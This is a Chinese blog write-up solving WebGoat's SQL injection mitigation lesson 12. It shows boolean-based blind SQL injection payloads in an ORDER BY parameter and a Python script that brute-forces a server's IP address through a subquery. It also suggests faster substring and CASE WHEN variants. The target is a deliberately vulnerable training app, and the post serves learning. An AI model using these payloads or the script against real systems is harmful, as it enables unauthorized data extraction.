SQL Injection (mitigation)12

这题刚开始不知道在哪排序。用惯了各种正常网页的按钮,不习惯这里的黑色小三角按钮。打开bp代理,按了下hostname 旁边的黑色三角按钮。
在这里插入图片描述
这里我尝试了一下

hostname' and true

服务器报出错误信息。

无
右键复制网址,在浏览器中打开,发现
在这里插入图片描述
表名为servers。

之后尝试了

hostname='webgoat-acc' and true -- -

此时,这个服务器排在响应的最后一个位置。

hostname='webgoat-acc' and true DESC -- -

再使用DESC倒序排列,此服务器排到了第一个位置。

hostname='webgoat-acc' and false DESC -- -

当条件为false时,服务器无法排到第一的位置。

因为求的是ip所以按照上面的推测重新编辑输入值

ip='192.168.2.1' and true DESC -- -

为什么选192.168.2.1?因为ip正常排序时它是第一位。
又因为需要求webgoat-prd的ip地址,则把true替换成

(select ip from servers where hostname='webgoat-prd')='x.130.219.202'

ip='192.168.2.1' and (select ip from servers where hostname='webgoat-prd')='x.130.219.202' DESC -- -

x是需要爆破的数字,因为bp的爆破功能不会使用筛选功能,学着写了个python脚本

import urllib.request as r
import json


headers = {
        'User-Agent':
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
        'cookie': 'JSESSIONID=3u26C0ESn2mQPMT7ILpnW6fsfz0N2qnHTz52yL6X',
    }
for x in range(1, 256):
    url = "http://webgoat:8080/WebGoat/SqlInjectionMitigations/servers?column=ip%3d'192.168.2.1'"\
        "%20and%20((select%20ip%20from%20servers%20where%20hostname%3d'webgoat-prd')"\
        "%3d'{0}.130.219.202')%20%20DESC".format(x)
    req = r.Request(url=url, headers=headers)
    respose = r.urlopen(req)
    text = respose.read()
    jsondata = json.loads(text)
    if (jsondata[0]['ip'] == '192.168.2.1'):
        print(str(x)+".130.219.202")
        break

在这里插入图片描述
脚本写的简单粗暴,实际上还可以利用substring方法一位一位的对比。会比这种循环快很多。

https://blog.csdn.net/u013553529/article/details/82765062?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-4.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-4.control

利用case when接substring来判定true ,false,这样更简便。

为什么oder by 后面更 boolean参数会如此显示:
https://my.oschina.net/u/3676955/blog/1923718

order by 默认升序,而boolean的值为0 or 1。所以true时会拍在后面。

另外发现Get参数与HTTP/1.1之间如果多出一个空格,会导致错误请求。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值